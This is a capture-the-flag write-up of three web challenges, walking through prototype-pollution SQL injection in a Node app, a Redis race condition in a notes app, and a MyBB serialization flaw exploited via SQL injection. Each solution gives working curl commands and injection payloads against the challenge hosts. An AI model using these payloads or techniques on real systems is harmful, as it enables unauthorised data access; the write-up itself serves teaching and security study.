
module.exports = async (app) => {
    const db = await connect();

    async function makeTransaction(username, txId, asset, amount) {
        const query = prepare('INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)', { // [5]
            amount,
            asset,
            username,
            txId,
        });
    
        await db.query(query);
    }

    app.get('/api/transactions/:id', async (req, res) => {
        const txId = Number(req.params.id);
        if (!isFinite(txId)) {
            return res.status(400).send('invalid transaction id');
        }

        const transaction = await db.query(prepare('SELECT * FROM transactions WHERE id=:txId', {
            txId,
        }));
        
        if (transaction.rowCount > 0) {
            res.json(transaction.rows[0]);
        } else {
            res.status(404).send('no such transaction');
        }
    });

    app.put('/api/priv/assets/:asset/:action', async (req, res) => {
        const { username } = req.user
        
        const { asset, action } = req.params;
        if (/[^A-z]/.test(asset)) { // [1]
            return res.status(400).send('asset name must be letters only');
        }
        const assetTransactions = transactions[asset] ?? (transactions[asset] = {}); // [2]
        
        const txId = generateId();
        assetTransactions[txId] = action; // [3]
        
        try {
            await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1); // [4]
            res.json({ id: txId });
        } catch (error) {
            console.error('db error:', error.message);
            res.status(500).send('transaction failed');
        } finally {
            delete assetTransactions[txId];
        }
    });
};

The /api/priv/assets/:asset/:action route accepts 2 path parameters: asset and action. At [1], notice that the regular expression used is flawed: /[^A-z]/.test(asset). Besides uppercase and lowercase alphabets, symbols such as [, \, ], ^, _ and ^ are also accepted.

Carefully tracing the code from [2] to [3], we can see that it is possible to set transactions[asset][txId] = action. One vulnerability class that springs to mind immediately is prototype pollution. If we set asset to __proto__, we can effectively set transactions.__proto__[txId] to the value of action. However, at this point, it is unclear if prototype pollution is useful at all, since we don’t have control over txId (generated integer). Though, it remains somewhat interesting to us since it points to user input (action).

So, let’s just continue tracing the code execution into makeTransaction() at [4], which calls prepare() at [5].

The relevant source code from public/core/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function sqlEscape(value) {
    switch (typeof value) {
        case 'string':
            return `'${value.replace(/[^\x20-\x7e]|[']/g, '')}'`;
        case 'number':
            return isFinite(value) ? String(value) : sqlEscape(String(value));
        case 'boolean':
            return String(value);
        default:
            return value == null ? 'NULL' : sqlEscape(JSON.stringify(value));
    }
}

function prepare(query, namedParams) {
    let filledQuery = query;

    const escapedParams = Object.fromEntries(
        Object.entries(namedParams) // [6]
              .map(([key, value]) => ([key, sqlEscape(value)]))
    );

    for (const key in escapedParams) { // [7]
        filledQuery = filledQuery.replaceAll(`:${key}`, escapedParams[key]);
    }

    return filledQuery;
}

Observe that the parameters to be escaped are iterated using Object.entries() at [6], whereas the replacement of the parameters with the escaped values are done in a for ... in loop at [7].

According to the documentation for the for ... in statement:

…The loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain).

Since Object.entries() does not iterate through properties inherited from the prototype chain, transactions.__proto__[txId] = buy set previously is not an escaped property. As such, we can inject ::txId into username such that the following replacement will occur in this manner:

   INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... :1337')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... '), (31337, (select flag from flag), 1, '')

Solution

$ curl http://flu.xxx:20035/api/auth/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"../../../../health?::txId","password":"A"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

$ curl -X PUT http://flu.xxx:20035 \
    -H 'Content-Type: application/json' \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' \
    --request-target "http://junk/api/priv/assets/__proto__/'),(31337,(select%20flag%20from%20flag),1,'1"
{"id":10868161987435}

$ curl http://flu.xxx:20035/api/transactions/31337 \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' 
{"id":"31337","username":"1","asset":"flag{finally_i_can_invest_in_js}","amount":1}

NodeNB

Sold (Solves): 45 times
Risk (Difficulty): Low
Seller (Creator): pspaul/SonarSource

This is a guest challenge by SonarSource R&D.
To keep track of all your trading knowledge we wrote a note book app!
https://nodenb.flu.xxx

The goal of the challenge is to access a note containing the flag:

1
2
3
4
5
6
7
8
9
10
...
// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
    'title': 'Flag',
    'content': FLAG,
});
...

Without further ado, let’s jump straight to the relevant code in public/src/server.js:

1
2
3
4
5
6
7
8
9
...
app.get('/notes/:nid', ensureAuth, async (req, res) => {
    const { nid } = req.params;
    if (!await db.hasUserNoteAcess(req.session.user.id, nid)) { // [1]
        return res.redirect('/notes');
    }
    const note = await db.getNote(nid);
    res.render('note', { note });
});

There is an access control check at [1]. Let’s look at the definition of hasUserNoteAcess() function in public/src/db.js:

1
2
3
4
5
6
7
8
9
10
11
12
...
async hasUserNoteAcess(uid, nid) {
    if (await db.sismember(`uid:${uid}:notes`, nid)) { // [2]
        return true;
    }
    if (!await db.hexists(`uid:${uid}`, 'hash')) { // [3]
        // system user has no password
        return true;
    }
    return false;
}
...

In hasUserNoteAcess(), we need to make either of the conditions at [2] and [3] true to pass the access control check. Tracing the code further, we find that condition at [2] is not possible to be satisfied since we cannot add our user to the note containing the flag.

Further examining the condition at [3], we find an interesting logic flaw. The condition at [3] assumes that 0 is returned when the hash field does not exists at key uid:${uid}. However, 0 can also be returned if the key does not exist.

Looking at the application functionalities, we find that it is possible to delete your own account.

The relevant code from public/src/server.js is shown below:

1
2
3
4
5
6
7
8
9
10
app.post('/deleteme', ensureAuth, async (req, res) => {
    await db.deleteUser(req.session.user.id);
    req.session.destroy(async (error) => {
        if (error) {
            console.error('deleteme error:', error?.message);
        }
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});

The function definition for deleteUser() from public/src/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
async deleteUser(uid) {
    const user = await helpers.getUser(uid);
    await db.set(`user:${user.name}`, -1);
    await db.del(`uid:${uid}`); // [4]
    const sessions = await db.smembers(`uid:${uid}:sessions`);
    const notes = await db.smembers(`uid:${uid}:notes`);
    return db.del([
        ...sessions.map((sid) => `sess:${sid}`),
        ...notes.map((nid) => `note:${nid}`),
        `uid:${uid}:sessions`,
        `uid:${uid}:notes`,
    ]);
}

Observe that at [4], the key uid:${uid} is being deleted. As such, we can perform a race condition – polling /notes/flag rapidly using Burp Intruder / Race The Web while the deletion of the account is being processed – to leak the flag:

flag{trade_as_fast_as_you_hack_and_you_will_be_rich}

SeekingExploits

Sold (Solves): 11 times
Risk (Difficulty): High
Seller (Creator): aliezey/SonarSource

Are you totally not a government?
Then you are welcome to the SeekingExploits forum, where you can let people know what exploits you are selling!

Run it with:

docker-compose build
HOSTNAME="localhost" FLAG="flag{fakefakefake}" docker-compose up

http://seekingexploits.flu.xxx

The goal of the challenge is to leak the flag from the database. This challenge uses the MyBB (an open source forum software) v1.8.29 (latest version), and installs a custom plugin created for the challenge.

Part 1 - Exploring the E-Market API

Let’s first look at public/mybb-server/exploit_market/emarket-api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

// Set some useful constants that the core may require or use
define("IN_MYBB", 1);
define('THIS_SCRIPT', 'my_plugin.php');


// Including global.php gives us access to a bunch of MyBB functions and variables
require_once "./global.php";

function validate_additional_info($additional_info) {
    $validated = array();
    foreach($additional_info as $key => $value) {
        switch ($key) {
            case "reliability": {
                $value = (int)$value;
                if ($value >= 0 && $value <= 100) {
                    $validated["reliability"] = $value;
                }
                break;
            }
            case "impact": {
                $valid_impacts = array("rce", "priv_esc", "information_disclosure");
                if (in_array($value, $valid_impacts, true)) {
                    $validated["impact"] = $value;
                }
                break;
            }
            case "current_bidding":
            case "sold_to": {
                $validated[$key] = (int)$value;
                break;
            }
            default: { // [5]
                $validated[$key] = $value;
            }
        }
    }

    return $validated;
}

...

if($mybb->user['uid'] == '/' || $mybb->user['uid'] == 0) // [1]
{
	error_no_permission();
}

$action = $mybb->get_input("action"); // [2]
if ($action === "make_proposal") { // [3]
    
    
    // validate additional info
    $proposal = array(
        "uid" => (int)$mybb->user['uid'],
        "software" => $db->escape_string($mybb->get_input("software")),
        "latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
        "description" => $db->escape_string($mybb->get_input("description")),
        "additional_info" => $db->escape_string( // [7]
            my_serialize( // [6]
                validate_additional_info( // [4]
                    $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
                    )
                )
            )
    );
    $res = $db->insert_query("exploit_proposals", $proposal); // [8]

    echo "OK!";

} else if ($action === "delete_proposals") {
    $db->delete_query("exploit_proposals", "uid=" . (int)$mybb->user['uid']);
}

Okay, that’s a lot of code to understand.
Let’s start from [1] – firstly, we need to be logged in to MyBB.
At [2], we see that it takes an an input ($mybb->get_input("action")). We can trace MyBB’s source code to find out how to supply this input, or we can just guess that it finds a GET parameter named action.
At [3], we know that the action parameter must be set to make_proposal if we want to insert an exploit proposal into the database.
At [4], we learn that a GET parameter named additional_info should be supplied as an array. This parameter is then passed to validate_additional_info(), which appears to do strict validation on the array contents for the accepted properties.
However, at [5], it is noted the default statement does not actually validate the key or value before assigning $validated[$key] = $value; – this may be useful to us later on.
At [6], we see that my_serialize() is executed on the $validated array returned by validate_additional_info() – this uses a custom serialisation function built into MyBB that supposedly uses a safer serialisation technique compared to PHP’s native serialize().
At [7], the serialised payload is escaped before proposal is inserted into the database at [8].

It isn’t clear how the code can be exploited yet, so let’s take a look at the other file of interest – public/mybb-server/exploit_market/inc/plugins/emarket.php.

Part 2 - The Vulnerable Plugin

The relevant code from public/mybb-server/exploit_market/inc/plugins/emarket.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
	die("Direct initialization of this file is not allowed.");
}

$plugins->add_hook("member_do_register_end", "activate_user");

// auto-activate any users that register -- emails can be used to track exploit buyers ;)
function activate_user() {
	...
}

// include the proposals of the user at the end of each PM
$plugins->add_hook("private_read_end", 'list_proposals'); // [1]

// this plugin adds a list of exploit proposals to the end of a PM a user sends
function list_proposals() {
	global $db;
	// this variable contains the PM
	global $message;
	global $mybb;
	global $pm;
	$query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
    $proposals = array();
    while($proposal = $db->fetch_array($query)) {
        $proposal['additional_info'] = my_unserialize($proposal['additional_info']); // [2]
        
        // resolve the buyer's ID to a username
        if (array_key_exists("sold_to", $proposal["additional_info"])) {
            $user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']); // [3]
            $buyer = $db->fetch_array($user_query);
            $proposal["buyer"] = $buyer["username"]; // [4]
        }

        array_push($proposals, $proposal);
    }
	if (count($proposals) > 0) {
		$message .= "<b>Their exploit proposals:</b><br />";
	}

	foreach($proposals as $proposal) {
		$message .= "<hr />";
		foreach($proposal as $field => $value) {
			if (is_array($value)) {
				continue;
			}
			$message .= "<b>" . htmlspecialchars($field) . ": </b>";
			$message .= "<i>" . htmlspecialchars($value) . " </i>"; // [5]
		}
	}	
}
...

At [1], we can see that the list_proposal() function is invoked when a private message is read.
At [2], the proposals by the sender is fetched from the database and deserialised using my_unserialize().
At [3], $db->simple_select(tables, fields, where_condition) is executed. Referring to SonarSource’s research on MyBB, it can be seen that concatenating a user input in the where_condition leads to SQL injection – this lets us retrieve the flag from the database.
At [4], we can set $proposal["buyer"] to the value for the username field returned by the SQL query.
At [5], we get to print the value of the flag!

Before we get too excited, recall that $proposal["additional_info"]['sold_to'] is type-casted and coerced to an integer in validate_additional_info(). So, we need find a way to make it such that after deserialising, $proposal["additional_info"]['sold_to'] returns our SQL injection payload somehow.

Digging into MyBB’s Source Code

Let’s revisit some of the steps before the database concatenates user input in there where condition of $db->simple_select().

  1. We can place arbitrary key/values into the proposal, so long as they are unhandled by enter the default statement of the switch statement.
  2. The $validated is serialised using my_serialize()
  3. The serialised payload is escaped using $db->escape_string() before inserting into the database.
  4. The serialised payload is fetched from the database, and deserialised using my_serialize().
  5. $db->simple_select() is called, injecting $proposal["additional_info"]['sold_to'] into where condition.

It seems that we need to dig into MyBB’s source code to look for a flaw!

Both my_serialize() and my_deserialize() changes the internal encoding to ASCII prior to serialising/deserialising before converting it back to the original internal encoding used, but no apparent parser differentials could be found in the two functions.

Let’s move on to look at $db->escape_string() function. It is defined in multiple classes, but we should look into inc/db_mysqli.php since php-mysqli is installed on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape_string($string)
{
    if($this->db_encoding == 'utf8')
    {
        $string = validate_utf8_string($string, false);
    }
    elseif($this->db_encoding == 'utf8mb4')
    {
        $string = validate_utf8_string($string);
    }

    if(function_exists("mysqli_real_escape_string") && $this->read_link)
    {
        $string = mysqli_real_escape_string($this->read_link, $string);
    }
    else
    {
        $string = addslashes($string);
    }
    return $string;
}

Interestingly, we see that there is special handling for utf8 and utf8mb4 database encoding. Since the application uses utf8 for the database encoding, let’s look at what validate_utf8_string($string, false) does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
 * Validates an UTF-8 string.
 *
 * @param string $input The string to be checked
 * @param boolean $allow_mb4 Allow 4 byte UTF-8 characters?
 * @param boolean $return Return the cleaned string?
 * @return string|boolean Cleaned string or boolean
 */
function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
    // Valid UTF-8 sequence?
    if(!preg_match('##u', $input))
    {
        ...
    }
    if($return) // [1] - $return defaults to true
    {
        if($allow_mb4) // [2] - $allow_mb4=false 
        {
            return $input;
        }
        else
        {
            return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input); // [3]
        }
    }
    else
    {
        if($allow_mb4)
        {
            return true;
        }
        else
        {
            return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
        }
    }
}

This function appears to replace multibyte characters found at [3]! In other words, if the serialised payload to be escaped contains multibyte characters, they will be replaced with a single ?. Since my_deserialize() relies on the length field for each serialised field/value, invoking my_deserialize() on a serialised payload escaped using $db->escape_string() causes incorrect interpretation of the boundaries. This effectively allows us to smuggle sold_to key mapped to a SQL injection payload when deserialising the additional_info array.

Here’s a visualisation of the serialised payload and its transformation.

// $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
php > $additional_info = array();
php > $additional_info["a"] = str_repeat("\x80", 17); // matches the regex used in preg_replace() 
php > $additional_info["b"] = '";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --';
php > $payload = validate_additional_info($additional_info);

php > echo my_serialize($payload);
a:2:{s:1:"a";s:17:"�����������������";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo $db->escape_string(my_serialize($payload));
a:2:{s:1:\"a\";s:17:\"?\";s:1:\"b\";s:81:\"\";s:7:\"sold_to\";s:59:\"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --\";}

Note that the backslashes are only used to escape " when inserting into the database, and are not actually present in the serialised payload stored in the database.

php > $serialized_payload_from_db = stripslashes($db->escape_string(my_serialize($payload)));
php > echo $serialized_payload_from_db;
a:2:{s:1:"a";s:17:"?";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo print_r(my_unserialize($serialized_payload_from_db), true)
Array
(
    [a] => ?";s:1:"b";s:81:"
    [sold_to] => 0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --
)

We successfully abused $db->my_escape() to tamper with the serialised payload, such that when the payload is deserialised, $proposal["additional_info"]['sold_to'] contains the SQL injection payload.

Solution

Register an account on MyBB and login, then execute the following command to trigger the insertion of the proposal into the database.

$ curl -G http://seekingexploits.flu.xxx/emarket-api.php \
    --cookie 'mybbuser=...' \
    -d 'action=make_proposal' \
    -d 'software=a' \
    -d 'latest_version=true' \
    -d 'description=b' \
    -d 'additional_info[a]=%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80' \
    -d 'additional_info[b]=%22;s:7:%22sold_to%22;s:59:%220%20AND%201=0%20UNION%20SELECT%20usernotes%20from%20mybb_users%20limit%201%20--'
OK!

Then, send a private message to yourself and view the private message to trigger the SQL injection:

Their exploit proposals:
pid: 13 uid: 37 software: a description: b latest_version: 1 buyer: flag{peehaarpeebeebee}